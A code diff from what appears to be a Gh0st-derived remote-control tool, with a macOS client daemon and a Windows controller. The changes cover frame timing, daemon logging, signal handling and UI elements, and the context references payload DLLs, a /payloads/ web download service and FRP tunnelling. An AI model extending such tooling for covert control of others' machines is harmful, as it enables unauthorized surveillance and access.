currentAlgo = m_algorithm.load(); // reset so algo-change path isn't spuriously triggered
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// ─────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
uint64_t frameStart = getTickUs();
|
||||||
|
int fps = m_maxFPS.load();
|
||||||
|
if (fps <= 0) fps = 15;
|
||||||
|
int targetUs = 1000000 / fps;
|
||||||
|
|
||||||
|
// Read algorithm once per iteration to keep wait strategy and send path consistent.
|
||||||
|
uint8_t algo = m_algorithm.load();
|
||||||
|
|
||||||
|
// For DIFF/RGB565: wait up to half the frame interval for a new surface so we
|
||||||
|
// send fresh data rather than a duplicate. For H264: skip the wait — the
|
||||||
|
// encoder handles inter-frame differences internally, and waiting here eats
|
||||||
|
// into the encode budget, capping fps below maxFPS.
|
||||||
|
if (m_displayStream && algo != ALGORITHM_H264) {
|
||||||
std::unique_lock<std::mutex> lock(m_surfaceMutex);
|
std::unique_lock<std::mutex> lock(m_surfaceMutex);
|
||||||
int fps = m_maxFPS.load();
|
int halfTargetMs = (targetUs / 2) / 1000;
|
||||||
if (fps <= 0) fps = 15;
|
if (halfTargetMs < 1) halfTargetMs = 1;
|
||||||
int waitMs = 1000 / fps;
|
m_surfaceCond.wait_for(lock, std::chrono::milliseconds(halfTargetMs), [this] {
|
||||||
|
|
||||||
// Wait for new frame or timeout (maintains FPS even if no change)
|
|
||||||
m_surfaceCond.wait_for(lock, std::chrono::milliseconds(waitMs), [this] {
|
|
||||||
return m_hasNewFrame.load() || !m_running;
|
return m_hasNewFrame.load() || !m_running;
|
||||||
});
|
});
|
||||||
m_hasNewFrame.store(false);
|
m_hasNewFrame.store(false);
|
||||||
@@ -1104,8 +1206,6 @@ void ScreenHandler::captureLoop()
|
|||||||
if (!m_running) break;
|
if (!m_running) break;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t algo = m_algorithm.load();
|
|
||||||
|
|
||||||
// Check if algorithm changed
|
// Check if algorithm changed
|
||||||
if (algo != currentAlgo) {
|
if (algo != currentAlgo) {
|
||||||
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
||||||
@@ -1113,9 +1213,11 @@ void ScreenHandler::captureLoop()
|
|||||||
|
|
||||||
if (algo == ALGORITHM_H264) {
|
if (algo == ALGORITHM_H264) {
|
||||||
sendH264Frame(true); // First H264 frame is keyframe
|
sendH264Frame(true); // First H264 frame is keyframe
|
||||||
} else if (m_h264Encoder) {
|
} else {
|
||||||
m_h264Encoder->close();
|
if (m_h264Encoder) {
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder->close();
|
||||||
|
m_h264Encoder.reset();
|
||||||
|
}
|
||||||
sendFirstScreen();
|
sendFirstScreen();
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -1126,17 +1228,11 @@ void ScreenHandler::captureLoop()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Only use sleep-based FPS control for legacy mode
|
// Sleep whatever remains of the target frame interval (microsecond precision).
|
||||||
if (!m_displayStream) {
|
int64_t elapsed = (int64_t)(getTickUs() - frameStart);
|
||||||
int fps = m_maxFPS.load();
|
int64_t remaining = (int64_t)targetUs - elapsed;
|
||||||
if (fps <= 0) fps = 10;
|
if (remaining > 0) {
|
||||||
int sleepMs = 1000 / fps;
|
usleep((useconds_t)remaining);
|
||||||
|
|
||||||
int elapsed = (int)(getTickMs() - start);
|
|
||||||
int wait = sleepMs - elapsed;
|
|
||||||
if (wait > 0) {
|
|
||||||
usleep(wait * 1000);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -604,9 +604,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
|||||||
|
|
||||||
// ============== Signal Handling ==============
|
// ============== Signal Handling ==============
|
||||||
|
|
||||||
|
// 注意:signal handler 内不能调 NSLog/Mprintf(NSLog 走 Foundation 锁,
|
||||||
|
// Mprintf 走 Logger mutex/condvar),都不是 async-signal-safe。只在这里
|
||||||
|
// 记 sig_atomic_t 标志位,main 退出循环后再补一行日志。
|
||||||
|
static volatile sig_atomic_t g_lastSignal = 0;
|
||||||
static void signalHandler(int sig)
|
static void signalHandler(int sig)
|
||||||
{
|
{
|
||||||
NSLog(@"Received signal %d, shutting down...", sig);
|
g_lastSignal = sig;
|
||||||
g_running = false;
|
g_running = false;
|
||||||
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
|
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
|
||||||
}
|
}
|
||||||
@@ -622,6 +626,11 @@ static void setupSignals()
|
|||||||
// 经典 Unix 双 fork 守护进程
|
// 经典 Unix 双 fork 守护进程
|
||||||
static void daemonize()
|
static void daemonize()
|
||||||
{
|
{
|
||||||
|
// macOS 10.12+ NSLog 默认只写 os_log(Unified Logging),非 TTY 时不写 stderr。
|
||||||
|
// CFLOG_FORCE_STDERR=1 恢复旧行为:无论是否 TTY,都同时写 fd 2。
|
||||||
|
// 必须在 fork 前设置,子进程会继承环境变量。
|
||||||
|
setenv("CFLOG_FORCE_STDERR", "1", 1);
|
||||||
|
|
||||||
pid_t pid = fork();
|
pid_t pid = fork();
|
||||||
if (pid < 0) exit(1);
|
if (pid < 0) exit(1);
|
||||||
if (pid > 0) exit(0); // 父进程退出
|
if (pid > 0) exit(0); // 父进程退出
|
||||||
@@ -632,13 +641,32 @@ static void daemonize()
|
|||||||
if (pid < 0) exit(1);
|
if (pid < 0) exit(1);
|
||||||
if (pid > 0) exit(0);
|
if (pid > 0) exit(0);
|
||||||
|
|
||||||
// 关闭标准文件描述符,重定向到 /dev/null
|
// 用 dup2 而非 close+open 序列,确保 fd 号与目标对应,不依赖"最低可用 fd"假设
|
||||||
close(STDIN_FILENO);
|
int nullFd = open("/dev/null", O_RDWR);
|
||||||
close(STDOUT_FILENO);
|
if (nullFd >= 0) {
|
||||||
close(STDERR_FILENO);
|
dup2(nullFd, STDIN_FILENO);
|
||||||
open("/dev/null", O_RDONLY); // fd 0 = stdin
|
dup2(nullFd, STDOUT_FILENO);
|
||||||
open("/dev/null", O_WRONLY); // fd 1 = stdout
|
if (nullFd > STDOUT_FILENO) close(nullFd);
|
||||||
open("/dev/null", O_WRONLY); // fd 2 = stderr
|
}
|
||||||
|
|
||||||
|
// stderr → /tmp/ghost.log;若失败退回 $TMPDIR/ghost.log
|
||||||
|
int logFd = open("/tmp/ghost.log", O_WRONLY | O_CREAT | O_APPEND,
|
||||||
|
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||||
|
if (logFd < 0) {
|
||||||
|
const char* tmp = getenv("TMPDIR");
|
||||||
|
if (!tmp) tmp = "/tmp";
|
||||||
|
char path[256];
|
||||||
|
snprintf(path, sizeof(path), "%s/ghost.log", tmp);
|
||||||
|
logFd = open(path, O_WRONLY | O_CREAT | O_APPEND,
|
||||||
|
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||||
|
}
|
||||||
|
if (logFd >= 0) {
|
||||||
|
dup2(logFd, STDERR_FILENO);
|
||||||
|
if (logFd != STDERR_FILENO) close(logFd);
|
||||||
|
// 直接写 fd 2 确认重定向生效(write 不经过 NSLog/os_log)
|
||||||
|
const char* banner = "=== ghost daemon started ===\n";
|
||||||
|
write(STDERR_FILENO, banner, strlen(banner));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============== Main Entry Point ==============
|
// ============== Main Entry Point ==============
|
||||||
@@ -746,14 +774,17 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||||
uint64_t now = GetUnixMs();
|
uint64_t now = GetUnixMs();
|
||||||
double rtt_ms = (double)(now - ack->Time);
|
int64_t total_rtt_ms = (int64_t)now - (int64_t)ack->Time;
|
||||||
g_rttEstimator.update_from_sample(rtt_ms);
|
int64_t rtt_ms = total_rtt_ms;
|
||||||
|
if (ack->ProcessingMs > 0 && (int64_t)ack->ProcessingMs < total_rtt_ms)
|
||||||
|
rtt_ms = total_rtt_ms - (int64_t)ack->ProcessingMs;
|
||||||
|
g_rttEstimator.update_from_sample((double)rtt_ms);
|
||||||
// Log at most once per minute
|
// Log at most once per minute
|
||||||
static uint64_t lastLogTime = 0;
|
static uint64_t lastLogTime = 0;
|
||||||
if (now - lastLogTime >= 60000) {
|
if (now - lastLogTime >= 60000) {
|
||||||
lastLogTime = now;
|
lastLogTime = now;
|
||||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
user, (double)rtt_ms, g_rttEstimator.srtt * 1000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||||
@@ -801,6 +832,19 @@ int main(int argc, const char* argv[])
|
|||||||
// 守护进程模式:在进入 autoreleasepool 之前 fork
|
// 守护进程模式:在进入 autoreleasepool 之前 fork
|
||||||
if (daemon_mode) {
|
if (daemon_mode) {
|
||||||
daemonize();
|
daemonize();
|
||||||
|
} else {
|
||||||
|
// App bundle 模式(login item / open 命令启动):同样重定向日志到 /tmp/ghost.log。
|
||||||
|
// macOS 10.12+ 的 NSLog 默认只写 Unified Logging,非 TTY 时不写 stderr;
|
||||||
|
// CFLOG_FORCE_STDERR=1 恢复旧行为,需在首次调用 NSLog 之前设置。
|
||||||
|
setenv("CFLOG_FORCE_STDERR", "1", 1);
|
||||||
|
int logFd = open("/tmp/ghost.log", O_WRONLY | O_CREAT | O_APPEND,
|
||||||
|
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||||
|
if (logFd >= 0) {
|
||||||
|
dup2(logFd, STDERR_FILENO);
|
||||||
|
if (logFd != STDERR_FILENO) close(logFd);
|
||||||
|
const char* banner = "=== ghost app started ===\n";
|
||||||
|
write(STDERR_FILENO, banner, strlen(banner));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@autoreleasepool {
|
@autoreleasepool {
|
||||||
@@ -934,6 +978,14 @@ int main(int argc, const char* argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 退出原因留痕:signal handler 不能直接打日志,在这里补一行。
|
||||||
|
if (g_lastSignal != 0) {
|
||||||
|
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
|
||||||
|
(int)g_lastSignal, (int)g_bExit);
|
||||||
|
} else {
|
||||||
|
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
|
||||||
|
}
|
||||||
|
|
||||||
NSLog(@"Shutting down...");
|
NSLog(@"Shutting down...");
|
||||||
|
|
||||||
// Release power assertions
|
// Release power assertions
|
||||||
@@ -944,6 +996,10 @@ int main(int argc, const char* argv[])
|
|||||||
// Display assertion is managed by ScreenHandler (released in stop())
|
// Display assertion is managed by ScreenHandler (released in stop())
|
||||||
// powerActivity is automatically released when exiting @autoreleasepool
|
// powerActivity is automatically released when exiting @autoreleasepool
|
||||||
(void)powerActivity; // Suppress unused variable warning
|
(void)powerActivity; // Suppress unused variable warning
|
||||||
|
|
||||||
|
// 显式停止日志,确保上面 Mprintf 的退出原因落盘。
|
||||||
|
// 不依赖 ~Logger() 的静态析构次序,避免后续新增日志相关静态对象时踩坑。
|
||||||
|
Logger::getInstance().stop();
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
Binary file not shown.
@@ -90,6 +90,7 @@
|
|||||||
#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
|
#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
|
||||||
#define TIMER_PREVIEW_LOOP 9 // "播放快照"循环拉取(间隔由 LOOP_INTERVAL_MS 决定)
|
#define TIMER_PREVIEW_LOOP 9 // "播放快照"循环拉取(间隔由 LOOP_INTERVAL_MS 决定)
|
||||||
#define TIMER_THUMBNAIL_REFRESH 10 // 主机列表缩略图后台刷新(间隔取自 m_ThumbnailCfg)
|
#define TIMER_THUMBNAIL_REFRESH 10 // 主机列表缩略图后台刷新(间隔取自 m_ThumbnailCfg)
|
||||||
|
#define TIMER_FRP_CONFIG_CHECK 11 // 检测外部模块对 [settings] FrpConfig 的写入并热切换 FRPC
|
||||||
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
||||||
#define TINY_DLL_NAME "TinyRun.dll"
|
#define TINY_DLL_NAME "TinyRun.dll"
|
||||||
#define FRPC_DLL_NAME "Frpc.dll"
|
#define FRPC_DLL_NAME "Frpc.dll"
|
||||||
@@ -636,7 +637,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
|||||||
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
||||||
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
||||||
m_bmOnline[54].LoadBitmap(IDB_BITMAP_SNAPSHOT); // "播放快照" 菜单的眼睛图标
|
m_bmOnline[54].LoadBitmap(IDB_BITMAP_SNAPSHOT); // "播放快照" 菜单的眼睛图标
|
||||||
|
m_bmOnline[55].LoadBitmap(IDB_BITMAP_COMPRESS);
|
||||||
|
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||||
|
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
m_ServerBin[i] = nullptr;
|
m_ServerBin[i] = nullptr;
|
||||||
@@ -744,6 +747,66 @@ void CMy2015RemoteDlg::RecordDllRequest(const std::string& ip)
|
|||||||
m_DllRequestTimes[ip].push_back(time(nullptr));
|
m_DllRequestTimes[ip].push_back(time(nullptr));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ─── CSplitterBar ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CSplitterBar, CWnd)
|
||||||
|
ON_WM_LBUTTONDOWN()
|
||||||
|
ON_WM_MOUSEMOVE()
|
||||||
|
ON_WM_LBUTTONUP()
|
||||||
|
ON_WM_SETCURSOR()
|
||||||
|
ON_WM_PAINT()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
BOOL CSplitterBar::Create(CWnd* pParent)
|
||||||
|
{
|
||||||
|
CString cls = AfxRegisterWndClass(CS_HREDRAW | CS_VREDRAW,
|
||||||
|
::LoadCursor(NULL, IDC_SIZENS), (HBRUSH)(COLOR_3DFACE + 1));
|
||||||
|
return CWnd::Create(cls, NULL, WS_CHILD, CRect(0, 0, 0, 0), pParent, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSplitterBar::OnLButtonDown(UINT nFlags, CPoint pt)
|
||||||
|
{
|
||||||
|
m_bDragging = true;
|
||||||
|
SetCapture();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSplitterBar::OnMouseMove(UINT nFlags, CPoint pt)
|
||||||
|
{
|
||||||
|
if (m_bDragging) {
|
||||||
|
CPoint screen(pt);
|
||||||
|
ClientToScreen(&screen);
|
||||||
|
GetParent()->SendMessage(WM_SPLITTER_MOVED, (WPARAM)screen.y, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSplitterBar::OnLButtonUp(UINT nFlags, CPoint pt)
|
||||||
|
{
|
||||||
|
if (m_bDragging) {
|
||||||
|
m_bDragging = false;
|
||||||
|
ReleaseCapture();
|
||||||
|
GetParent()->SendMessage(WM_SPLITTER_RELEASED, 0, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CSplitterBar::OnSetCursor(CWnd*, UINT, UINT)
|
||||||
|
{
|
||||||
|
SetCursor(::LoadCursor(NULL, IDC_SIZENS));
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSplitterBar::OnPaint()
|
||||||
|
{
|
||||||
|
CPaintDC dc(this);
|
||||||
|
CRect rc;
|
||||||
|
GetClientRect(&rc);
|
||||||
|
// 中央一条细线作为视觉提示
|
||||||
|
int mid = rc.Height() / 2;
|
||||||
|
dc.FillSolidRect(&rc, GetSysColor(COLOR_3DFACE));
|
||||||
|
dc.FillSolidRect(rc.left + 4, mid, rc.Width() - 8, 1, GetSysColor(COLOR_3DSHADOW));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
|
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
{
|
{
|
||||||
__super::DoDataExchange(pDX);
|
__super::DoDataExchange(pDX);
|
||||||
@@ -818,6 +881,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
||||||
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
|
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
|
||||||
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
|
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
|
||||||
|
ON_MESSAGE(WM_ACTIVE_LICENSE_NUM, OnGetActiveLicenseCount)
|
||||||
|
ON_MESSAGE(WM_ONLINE_HOSTNUM, OnGetOnlineHostNum)
|
||||||
ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify)
|
ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify)
|
||||||
ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
|
ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
|
||||||
ON_MESSAGE(WM_TRIAL_RTT_ABUSE, OnTrialRttAbuse)
|
ON_MESSAGE(WM_TRIAL_RTT_ABUSE, OnTrialRttAbuse)
|
||||||
@@ -856,6 +921,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
|
ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_MESSAGE, &CMy2015RemoteDlg::OnRClickMessage)
|
ON_NOTIFY(NM_RCLICK, IDC_MESSAGE, &CMy2015RemoteDlg::OnRClickMessage)
|
||||||
ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
|
ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
|
||||||
|
ON_COMMAND(ID_MSGLOG_COPY, &CMy2015RemoteDlg::OnMsglogCopy)
|
||||||
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
|
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
|
||||||
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
||||||
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
|
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
|
||||||
@@ -918,6 +984,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
||||||
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
|
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
|
||||||
ON_COMMAND(ID_SCREENPREVIEW_LOOP, &CMy2015RemoteDlg::OnScreenpreviewLoop)
|
ON_COMMAND(ID_SCREENPREVIEW_LOOP, &CMy2015RemoteDlg::OnScreenpreviewLoop)
|
||||||
|
ON_COMMAND(ID_MENU_COMPRESS, &CMy2015RemoteDlg::OnMenuCompress)
|
||||||
|
ON_COMMAND(ID_MENU_UNCOMPRESS, &CMy2015RemoteDlg::OnMenuUncompress)
|
||||||
|
ON_COMMAND(ID_UNINSTALL_SOFTWARE, &CMy2015RemoteDlg::OnUninstallSoftware)
|
||||||
|
ON_COMMAND(ID_VIEW_HIDE_LOG, &CMy2015RemoteDlg::OnViewHideLog)
|
||||||
|
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
|
||||||
|
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -988,6 +1060,8 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_MENU_COMPRESS, MF_BYCOMMAND, &m_bmOnline[55], &m_bmOnline[55]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_MENU_UNCOMPRESS, MF_BYCOMMAND, &m_bmOnline[56], &m_bmOnline[56]);
|
||||||
// Tools menu
|
// Tools menu
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
|
||||||
@@ -1016,6 +1090,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.SetMenuItemBitmaps(ID_WHAT_IS_THIS, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
m_MainMenu.SetMenuItemBitmaps(ID_WHAT_IS_THIS, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_UNINSTALL_SOFTWARE, MF_BYCOMMAND, &m_bmOnline[57], &m_bmOnline[57]);
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// UIBranding: 根据编译时配置隐藏菜单项
|
// UIBranding: 根据编译时配置隐藏菜单项
|
||||||
@@ -1334,6 +1409,10 @@ VOID CMy2015RemoteDlg::InitControl()
|
|||||||
m_CList_Message.SetExtendedStyle(style);
|
m_CList_Message.SetExtendedStyle(style);
|
||||||
m_CList_Message.ModifyStyle(WS_HSCROLL, 0);
|
m_CList_Message.ModifyStyle(WS_HSCROLL, 0);
|
||||||
|
|
||||||
|
m_nSplitPos = THIS_CFG.GetInt("settings", "SplitPos", 160);
|
||||||
|
m_nSplitPos = max(60, min(m_nSplitPos, 600));
|
||||||
|
m_SplitterBar.Create(this);
|
||||||
|
|
||||||
// 不在这里调 ApplyThumbnailSettings —— 调用方在 LoadThumbnailSettingsFromCfg
|
// 不在这里调 ApplyThumbnailSettings —— 调用方在 LoadThumbnailSettingsFromCfg
|
||||||
// 之后统一 Apply(避免"先用默认值 Apply 一次,再读 INI 后再 Apply 一次"的双绘)。
|
// 之后统一 Apply(避免"先用默认值 Apply 一次,再读 INI 后再 Apply 一次"的双绘)。
|
||||||
}
|
}
|
||||||
@@ -1522,6 +1601,18 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
return S_OK;
|
return S_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnGetActiveLicenseCount(WPARAM wParam, LPARAM lParam){
|
||||||
|
int activeNum = 0;
|
||||||
|
GetAllLicenses(&activeNum);
|
||||||
|
return activeNum;
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CMy2015RemoteDlg::OnGetOnlineHostNum(WPARAM wParam, LPARAM lParam) {
|
||||||
|
CLock L(m_cs);
|
||||||
|
int activeNum = m_HostList.size();
|
||||||
|
return activeNum;
|
||||||
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
if (wParam && !lParam) {
|
if (wParam && !lParam) {
|
||||||
@@ -1582,7 +1673,7 @@ LRESULT CMy2015RemoteDlg::OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam)
|
|||||||
{
|
{
|
||||||
CString* ip = (CString*)wParam;
|
CString* ip = (CString*)wParam;
|
||||||
CString detail;
|
CString detail;
|
||||||
detail.FormatL("入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)",
|
detail.FormatL("入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)",
|
||||||
ip ? (LPCTSTR)*ip : _T("?"));
|
ip ? (LPCTSTR)*ip : _T("?"));
|
||||||
ShowMessage(_TR("入站告警"), detail);
|
ShowMessage(_TR("入站告警"), detail);
|
||||||
|
|
||||||
@@ -1867,6 +1958,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
}
|
}
|
||||||
|
|
||||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||||
|
THIS_CFG.SetStr("settings", "UpperHash", GetUpperHash());
|
||||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||||||
THIS_CFG.SetStr("settings", "Version", VERSION_STR);
|
THIS_CFG.SetStr("settings", "Version", VERSION_STR);
|
||||||
|
|
||||||
@@ -1874,7 +1966,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
|
|
||||||
// Start Web Remote Control service (includes file download at /payloads/*)
|
// Start Web Remote Control service (includes file download at /payloads/*)
|
||||||
UPDATE_SPLASH(16, "正在启动Web远程服务...");
|
UPDATE_SPLASH(16, "正在启动Web远程服务...");
|
||||||
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||||
